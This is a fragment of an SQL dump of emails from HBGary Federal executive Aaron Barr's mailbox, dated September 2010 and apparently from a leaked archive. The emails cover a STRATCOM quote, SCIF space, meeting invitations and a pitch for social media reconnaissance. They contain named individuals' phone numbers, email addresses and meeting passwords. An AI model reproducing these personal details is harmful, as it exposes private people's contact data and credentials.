info.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Thu, Sep 23, 2010 at 3:11 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n&nbsp;\r\n\r\nThis is Bob&#8217;s deal and he&#8217;s doing the\r\nquotes, so I&#8217;ll let him respond.&nbsp; I don&#8217;t want to get in middle of\r\nthis.&nbsp; We know about this seems everyone and their mother is bidding, so\r\nlet me have him handle it.&nbsp; Gwen should ask Bob\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Thursday, September 23, 2010 2:09 PM\r\nTo: Bob Slapnik; Penny Leavy\r\nCc: Barr Aaron\r\nSubject: Fwd: Quote for USSTRATCOM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nBob / Penny,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\'m\r\nworking with Gwen Walters from GTRI in Denver to help her get a quote for her\r\ncustomer, STRATCOM. &nbsp;Can you help me develop a quote - or send me a sample\r\nquote that I can use as a template?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nQty: 1 \r\n\r\n\r\n \r\n  \r\n  HBGary Digital DNA for ePO Perpetual Software\r\n  License for 5,000 endpoint nodes\r\n  \r\n \r\n\r\n\r\n\r\nMfg. Part Number: &nbsp;N/A \r\n\r\nQty: 1 \r\n\r\n\r\n \r\n  \r\n  HBGary Annual Software Maintenance and Digital DNA\r\n  Malware Detection Updates\r\n  \r\n \r\n\r\n\r\n\r\nMfg. Part Number: &nbsp;N/A \r\n\r\nQty: 1 \r\n\r\n\r\n \r\n  \r\n  HBGary Implementation Support and Training for DDNA\r\n  for ePO. Price per week. Price MUST be all inclusive (to include\r\n  HBGary travel expenses, per diem, etc).\r\n  \r\n \r\n\r\n\r\n\r\nMfg. Part Number: &nbsp;N/A\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--\r\n\r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;|\r\n&nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;|\r\n&nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4336,'aaron_hbgary_com/4336.html'),(12235,'2010-09-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009046.M289592P14101Q7091.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Quote for USSTRATCOM','How did u get hooked into this?Sent from my iPhoneOn Sep 23, 2010, at 5:13 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nOk - I didn&#39;t know this was already in play.  Let me know if you need Gwen&#39;s contact info.TedOn Thu, Sep 23, 2010 at 3:11 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nThis is Bob’s deal and he’s doing the quotes, so I’ll let him\r\nrespond.  I don’t want to get in middle of this.  We know about this seems\r\neveryone and their mother is bidding, so let me have him handle it.  Gwen\r\nshould ask Bob\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Thursday, September 23, 2010 2:09 PM\r\nTo: Bob Slapnik; Penny Leavy\r\nCc: Barr Aaron\r\nSubject: Fwd: Quote for USSTRATCOM\r\n\r\n\r\n\r\n \r\n\r\nHi Bob / Penny,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI&#39;m working with Gwen Walters from GTRI in Denver to help\r\nher get a quote for her customer, STRATCOM.  Can you help me develop a\r\nquote - or send me a sample quote that I can use as a template?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nQty: 1 \r\n\r\n\r\n \r\n  \r\n  HBGary Digital DNA for ePO Perpetual Software\r\n  License for 5,000 endpoint nodes\r\n  \r\n \r\n\r\n\r\n\r\nMfg. Part Number:  N/A \r\n\r\nQty: 1 \r\n\r\n\r\n \r\n  \r\n  HBGary Annual Software Maintenance and Digital DNA\r\n  Malware Detection Updates\r\n  \r\n \r\n\r\n\r\n\r\nMfg. Part Number:  N/A \r\n\r\nQty: 1 \r\n\r\n\r\n \r\n  \r\n  HBGary Implementation Support and Training for DDNA\r\n  for ePO. Price per week. Price MUST be all inclusive (to include\r\n  HBGary travel expenses, per diem, etc).\r\n  \r\n \r\n\r\n\r\n\r\nMfg. Part Number:  N/A\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |\r\n ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n\r\n',8477,'aaron_hbgary_com/8477.html'),(12236,'2010-09-23','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297009046.M505103P14101Q7092.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: SCIF Space','Aaron,\r\nUnfortunately, unless its something that we are doing together, then it falls into the category of too hard.  Unless you are just talking about storage.  If you are talking about creating/processing anything, then it would take longer to get approved than you probably have to respond.\r\nSorry about that.\r\nI would think that NG or Xetron (given that you are subcontracting to them) would be able to accommodate you.\r\nJohn\r\n\r\n\r\nOn Sep 21, 2010, at 5:43 PM, Aaron Barr wrote:\r\n\r\n> Hi John,\r\n> \r\n> Do you have any small amount of scif space available (sponsored by your old org)?  I have a proposal I am working on for a short term gig and need to find some space.  We are sub to NG Xetron on the work.\r\n> \r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n> \r\n> \r\n> \r\n\r\n',8060,'aaron_hbgary_com/8060.html'),(12237,'2010-09-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009046.M6475P14101Q7090.eml','\"Estrada, Daniel\" <Daniel.Estrada@mantech.com>','Re: Couple of things','How about the 5th.  I am doing a social media presentation at 4pm in Columbia.  So I can meet any time before say 1pm.AaronSent from my iPhone\r\nOn Sep 22, 2010, at 2:19 PM, &quot;Estrada, Daniel&quot; &lt;Daniel.Estrada@ManTech.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n\r\nWhat is a good contact number for me to reach you at?\r\n\r\nThank you,\r\nDaniel Estrada\r\n\r\n\r\n-----Original Message-----\r\nFrom: Eifert, Eric J.\r\nSent: Wed 9/22/2010 12:18 PM\r\nTo: Estrada, Daniel\r\nCc: Larsen, Larry M.; Dillon, Jamey D; van Goethem, Henri M\r\nSubject: FW: Couple of things\r\n\r\nDaniel, can you reach out to Aaron and set up a time to go over this training?  You can do it here if you want, I would also like to attend if possible but you are most important.\r\n\r\nThanks,\r\n\r\nEric J. Eifert\r\nVice President and General Manager, Cyber Defense Solutions Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY &amp; COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, September 22, 2010 12:14 PM\r\nTo: Eifert, Eric J.\r\nSubject: Couple of things\r\n\r\nOne do you want to set up a time to talk about social media training?\r\nI can walk through the course material with your folks.  I don&#39;t have\r\nan open class coming up soon\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5455,'aaron_hbgary_com/5455.html'),(12238,'2010-09-23','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297009046.M728173P14101Q7093.eml','\"Inc. HBGARY\" <All@hbgary.com>','Revised Contact list','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease note that Carma&#8217;s and Matt&#8217;s extension\r\nhave been revised.&nbsp; This was not a mistake,&nbsp; I had to change due to phone\r\nproblems.&nbsp; Karin Burke cell number has also been changed.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',596,'aaron_hbgary_com/596.html'),(12239,'2010-09-23','\"William Dallas via LinkedIn\" <member@linkedin.com>','/aaron@hbgary.com/new/1297009047.M23016P14101Q7094.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Greetings','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nWilliam Dallas has sent you a message.\r\n\r\n\r\n  Date:\r\n  9/23/2010\r\n\r\n\r\n  Subject:\r\n  RE: Greetings\r\n\r\n\r\n\r\n  Hello Aaron,\r\n\r\n  I will be tied up the first half of Oct, preparing for DoS orals.  Maybe late Oct?  Hope all is well.  NG is just as crazy as went you departed!!!!\r\n\r\nv/r  Dix\r\n\r\n\r\n\r\nOn 09/19/10 6:44 PM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHI Dix,\r\n\r\n\r\n\r\nNo worries.  Sometime I would like to get together with you and catch up.  Maybe early-mid october?\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',14375,'aaron_hbgary_com/14375.html'),(12240,'2010-09-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009047.M257497P14101Q7095.eml','\"Barr Aaron\" <aaron@hbgary.com>','Colston','http://www.colstontech.com/\r\n\r\nLooks like he\'s an independent now?  Working on a martial arts\r\nsoftware solution -- sidekick.\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',16151,'aaron_hbgary_com/16151.html'),(12241,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009047.M477375P14101Q7096.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Colston','He just joined NG?  He left already?  Or is this a side gig?\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 23, 2010, at 8:03 PM, Ted Vera  wrote:\r\n\r\n> http://www.colstontech.com/\r\n>\r\n> Looks like he\'s an independent now?  Working on a martial arts\r\n> software solution -- sidekick.\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n',3376,'aaron_hbgary_com/3376.html'),(12242,'2010-09-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009047.M701668P14101Q7097.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Colston','Dunno.  Did he join NG?\r\n\r\nOn Thu, Sep 23, 2010 at 6:04 PM, Aaron Barr  wrote:\r\n> He just joined NG?  He left already?  Or is this a side gig?\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Sep 23, 2010, at 8:03 PM, Ted Vera  wrote:\r\n>\r\n>> http://www.colstontech.com/\r\n>>\r\n>> Looks like he\'s an independent now?  Working on a martial arts\r\n>> software solution -- sidekick.\r\n>>\r\n>> --\r\n>> Ted Vera  |  President  |  HBGary Federal\r\n>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',13961,'aaron_hbgary_com/13961.html'),(12243,'2010-09-24','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297009049.M721709P14101Q7098.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','GovCon6','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThe GovCon6 agenda has just been released (see attached).&nbsp; Do\r\nyou think you could socialize this with folks that might be interested but just\r\nnot on our distro (Netwitness, Fidelis, Xetron, etc).&nbsp; Registration link is at:\r\nhttp://govcon.eventbrite.com/\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\nFollow @palantirtech\r\n\r\nWatch youtube.com/palantirtech\r\n\r\nAttend Palantir Night Live\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',155,'aaron_hbgary_com/155.html'),(12244,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009050.M165129P14101Q7099.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Colston','Yep\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 23, 2010, at 8:07 PM, Ted Vera  wrote:\r\n\r\n> Dunno.  Did he join NG?\r\n>\r\n> On Thu, Sep 23, 2010 at 6:04 PM, Aaron Barr  wrote:\r\n>> He just joined NG?  He left already?  Or is this a side gig?\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Sep 23, 2010, at 8:03 PM, Ted Vera  wrote:\r\n>>\r\n>>> http://www.colstontech.com/\r\n>>>\r\n>>> Looks like he\'s an independent now?  Working on a martial arts\r\n>>> software solution -- sidekick.\r\n>>>\r\n>>> --\r\n>>> Ted Vera  |  President  |  HBGary Federal\r\n>>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>>> www.hbgary.com  |  ted@hbgary.com\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n',6974,'aaron_hbgary_com/6974.html'),(12245,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009050.M393532P14101Q7100.eml','\"Matthew Steckman\" <msteckman@palantir.com>,\"Matthew Steckman\" <msteckman@palantir.com>','Re: GovCon6','You bet.  See you tomorrow.\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 23, 2010, at 8:08 PM, Matthew Steckman  wrote:\r\n\r\n> Aaron,\r\n>\r\n> The GovCon6 agenda has just been released (see attached).  Do you think you could socialize this with folks that might be interested but just not on our distro (Netwitness, Fidelis, Xetron, etc).  Registration link is at: http://govcon.eventbrite.com/\r\n>\r\n> Thanks,\r\n> Matt\r\n>\r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantir.com | 202-257-2270\r\n>\r\n> Follow @palantirtech\r\n> Watch youtube.com/palantirtech\r\n> Attend Palantir Night Live\r\n>\r\n> \r\n',1581,'aaron_hbgary_com/1581.html'),(12246,'2010-09-24','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009050.M626228P14101Q7101.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','making sure you can make Webex meetings tomorrow?','-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',7688,'aaron_hbgary_com/7688.html'),(12247,'2010-09-24','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009050.M942148P14101Q7102.eml','\"Aaron Barr\" <aaron@hbgary.com>,dcollend@digitalglobe.com,\"Matt Standart\" <matt@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,bcoulson@digitalglobe.com','Invitation: DigitalGlobe Review of Managed Services Proposal @ Fri Sep 24 3pm - 4pm (aaron@hbgary.com)',' more details &raquo;DigitalGlobe Review of Managed Services ProposalAgendaReview Managed Services Proposal-- fees-- deliverablesReview Installation and DeploymentReview timelinesPhil Wallisch invites you to attend this online meeting. Topic: DigitalGlobe Review of Managed Services Proposal Date: Friday, September 24, 2010 Time: 3:00 pm, Eastern Daylight Time (New York, GMT-04:00) Phil Wallisch invites you to attend this online meeting. Topic: DigitalGlobe Review of Managed Services Proposal Date: Friday, September 24, 2010 Time: 3:00 pm, Eastern Daylight Time (New York, GMT-04:00) Meeting Number: 571 737 008 Meeting Password: ddna ------------------------------------------------------- To join the online meeting (Now from the Apple iPhone (R) too!) ------------------------------------------------------- 1. Go to https://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;PW=NMWZlYWU0NzFm&amp;RT=MiMxMQ%3D%3D 2. If requested, enter your name and email address. 3. If a password is required, enter the meeting password: ddna 4. Click &quot;Join&quot;. To view in other time zones or languages, please click the link: https://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;PW=NMWZlYWU0NzFm&amp;ORT=MiMxMQ%3D%3D ------------------------------------------------------- To join the audio conference only ------------------------------------------------------- Call-in toll number (US/Canada): 1-408-792-6300 Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=155871232&amp;tollFree=0 Access code:571 737 008 ------------------------------------------------------- For assistance ------------------------------------------------------- 1. Go to https://hbgary.webex.com/hbgary/mc 2. On the left navigation bar, click &quot;Support&quot;. You can contact me at: phil@hbgary.com  Meeting Password: ddna ------------------------------------------------------- To join the online meeting (Now from the Apple iPhone (R) too!) ------------------------------------------------------- 1. Go to https://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;PW=NMWZlYWU0NzFm&amp;RT=MiMxMQ%3D%3D 2. If requested, enter your name and email address. 3. If a password is required, enter the meeting password: ddna 4. Click &quot;Join&quot;. To view in other time zones or languages, please click the link: https://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;PW=NMWZlYWU0NzFm&amp;ORT=MiMxMQ%3D%3D ------------------------------------------------------- To join the audio conference only ------------------------------------------------------- Call-in toll number (US/Canada): 1-408-792-6300 Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=155871232&amp;tollFree=0 Access code:571 737 008 ------------------------------------------------------- For assistance ------------------------------------------------------- 1. Go to https://hbgary.webex.com/hbgary/mc 2. On the left navigation bar, click &quot;Support&quot;. You can contact me at: phil@hbgary.com WhenFri Sep 24 3pm – 4pm Eastern TimeWhere Call-in toll number (US/Canada): 1-408-792-6300  Meeting Number: 571 737 008 (map)Calendaraaron@hbgary.comWho&#x2022;maria@hbgary.com - organizer&#x2022;dcollend@digitalglobe.com&#x2022;Aaron Barr&#x2022;Matt Standart&#x2022;Ted Vera&#x2022;Phil Wallisch&#x2022;bcoulson@digitalglobe.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',3051,'aaron_hbgary_com/3051.html'),(12248,'2010-09-24','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009051.M149868P14101Q7103.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','DigitalGlobe Meeting Tomorrow','Dan Collender is scheduled to speak with us tomorrow-- Phil is driving the meeting to talk about Managed ServicesYou DONT need to attend but you are welcome\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',2838,'aaron_hbgary_com/2838.html'),(12249,'2010-09-24','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009051.M387132P14101Q7104.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,ctobias@wiikno.com','Updated Invitation: WiiKno, Inc. HGary Discussion re: NCSC etc. @ Fri Sep 24 4pm - 5pm (aaron@hbgary.com)','This event has been changed. more details &raquo;WiiKno, Inc. HGary Discussion re: NCSC etc.Changed: Craig Tobias CTO WiiKnoAaron Barr HBGary Federal CEOTed Vera HBGary Fedaral CTOMaria Lucas Regional Sales DirectorAgendaCraig Tobias is working on an NCSC project for information security -- handling a fiber component.  Craig approached HBGary to become a Reseller/Partner and introduce us to the NCSC.The purpose of the meeting is to explore the opportunity and partnership viability.  Craig also does work with social engineering.1.  Please join my meeting, Friday, September 24 at 02:00 PM MDT.https://www1.gotomeeting.com/join/2537902572.  Use your microphone and speakers (VoIP) - a headset isrecommended. Or, call in using your telephone.Dial 712-338-7141Access Code: 253-790-257Audio PIN: Shown after joining the meetingMeeting Password: ddnaMeeting ID: 253-790-257GoToMeeting®Online Meetings Made Easy™WhenFri Sep 24 4pm – 5pm Eastern TimeWhereChanged: See Below (map)Calendaraaron@hbgary.comWho&#x2022;maria@hbgary.com - organizer&#x2022;Aaron Barr&#x2022;Ted Vera&#x2022;ctobias@wiikno.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for updated invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',2645,'aaron_hbgary_com/2645.html'),(12250,'2010-09-24','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297009051.M641333P14101Q7105.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - WiiKno, Inc. HGary Discussion re: NCSC etc.','September 23, 2010 4:00 PM : WiiKno, Inc. HGary Discussion re: NCSC etc.Craig Tobias CTO WiiKnoAaron Barr HBGary Federal CEOTed Vera HBGary Fedaral CTOAgendaCraig Tobias is working on an NCSC project for information security -- handling a fiber component.&nbsp; Craig approached HBGary to become a Reseller/Partner and introduce us to the NCSC.The purpose of the meeting is to explore the opportunity and partnership viability.&nbsp; Craig also does work with social engineering. ',14131,'aaron_hbgary_com/14131.html'),(12251,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009051.M922930P14101Q7106.eml','\"Irving Lachow\" <LachowI@ndu.edu>','Re: Social Media','Hi Irv,\r\n\r\nCongratulations.  Definitely would like to stay in touch, let me know when you settle in.\r\n\r\nAaron\r\n\r\nOn Sep 17, 2010, at 11:19 AM, Lachow, Irving wrote:\r\n\r\n> Hi Aaron.  I\'m going to transition to MITRE soon.  Next week is my last\r\n> week as a govie.  Let\'s touch base after I settle in.  I\'ll send out a\r\n> mass email soon.\r\n> Cheers,\r\n> Irv\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, July 06, 2010 10:17 AM\r\n> To: Ray Owen; Nathan Atherley; Lachow, Irving\r\n> Subject: Social Media\r\n> \r\n> To further our conversation on social media.  The talk I gave at the NSA\r\n> REBL conference on the vulnerabilities of social media went well and I\r\n> have had a set of follow up meetings with different government\r\n> organizations to discuss what could be done to help shore up their\r\n> defenses to social media as well as how they might better use it.  Here\r\n> is where some things all start to fit together.\r\n> \r\n> Social Media as a competitive intelligence tool.  There is an immense\r\n> amount of information that can be aggregated from social media services\r\n> to develop competitive intelligence against any target.  Take any US\r\n> defense contractor.  If I could harvest a significant amount of data\r\n> from sites such as FBO, Monster, LinkedIn, Input, Facebook, Twitter.\r\n> What type of picture could I put together as far as company\r\n> capabilities, future plans, contract wins, etc.  From a targeting\r\n> perspective could I identify information exposure points that lead to a\r\n> defensive weakness in an organization, I think yes.\r\n> \r\n> I spoke to INSCOM a few weeks ago about their desire to start to\r\n> incorporate more social media reconnaissance and exploitation into their\r\n> red team efforts.  Such a capability has a broad applicability that will\r\n> be more significantly needed in the future.\r\n> \r\n> One of the slides in my presentation talks about the breakdown of\r\n> clandestine capabilities because of social media.  Backstopping and\r\n> persona management becomes a huge problem.  More to talk about here.\r\n> \r\n> There is a general social media capability that could be developed to\r\n> satisfy both commercial and government requirements to manage social\r\n> media information exposure, do human pentesting, and satisfy current and\r\n> future intelligence requirements.\r\n> \r\n> (Nathan just remember I owe you a contact or two - I will get those to\r\n> you today).\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',169,'aaron_hbgary_com/169.html'),(12252,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009052.M135272P14101Q7107.eml','\"Edward J Baranoski\" <edward.j.baranoski@ugov.gov>','Re: HBGary Abstract for IARPA-BAA-10-09','Ed,\r\n\r\nThank you for the feedback.  I have been working a few other proposal non-stop but I plan to work your questions into an updated abstract and get it to you soonest.\r\n\r\nAaron\r\nOn Sep 17, 2010, at 3:13 PM, Edward J Baranoski wrote:\r\n\r\n> Aaron,\r\n> \r\n> The topic area is of interest, although I expect the devil is in the details.  The next step  would need to lay out a more structured path to address the technical challenges before submitting a full proposal. We are not expecting a abstract or proposal to have answers to all possible questions (if it did, we wouldn\'t need a seedling).  We do require that a proposal identify the key questions and how they will be addressed during the seedling.\r\n> \r\n> Here are sample questions I have regarding the approach you propose:\r\n> \r\n> 1. What is the best metric to quantify overall performance (e.g., ROC curves, SNR, confusion matrices, etc.).  Where do we think we are now, and where might these ideas take us (and why)?  \r\n> \r\n> 2. Can you say anything about how you would score likelihoods, and the parameter spaces over which you need to quantify results?  How many samples of code are needed to train such algorithms, and how does performance statistically vary over relevant parameters (e.g., number of codes samples, code size, library/language/compiler dependencies, etc.)?  \r\n> \r\n> 4. What is the dimensionality of the feature space?  Are the number of variables resolvable within the likely dimensionality of the feature space?  I am thinking in pattern recognition terms.  For example, if you have two classes with a reasonable distribution, they may be easily resolvable in a two dimensional space; however, 100 similar distributions in the same space would likely be heavily overlapping and far less resolvable.\r\n> \r\n> 3. How are uncertainties parsed over the solution space?  For example, if 80% of the code is borrowed from another developer, but the remaining 20% belongs to a developer of potential interest, how do you quantify that uncertainty?\r\n> \r\n> 4. Figure 1 is not really explained, so I don\'t know what it is supporting.\r\n> \r\n> -Ed\r\n> \r\n> \r\n> ----- Original Message -----\r\n> From: \"Aaron Barr\" \r\n> To: \"edward j baranoski\" \r\n> Cc: \"Ted Vera\" \r\n> Sent: Tuesday, September 14, 2010 9:41:47 PM\r\n> Subject: HBGary Abstract for IARPA-BAA-10-09\r\n> \r\n> Ed,\r\n> \r\n> Attached is an abstract at a high level describing our approach to attribution.  I look forward to your comments and thoughts on the value of this approach.\r\n> \r\n> Aaron\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',15539,'aaron_hbgary_com/15539.html'),(12253,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009052.M420344P14101Q7108.eml','\"Matt Bigge\" <matt@strategicsocial.com>','Re: Introduction','Hey Matt,\r\n\r\nWe missed getting together.  I am headed out 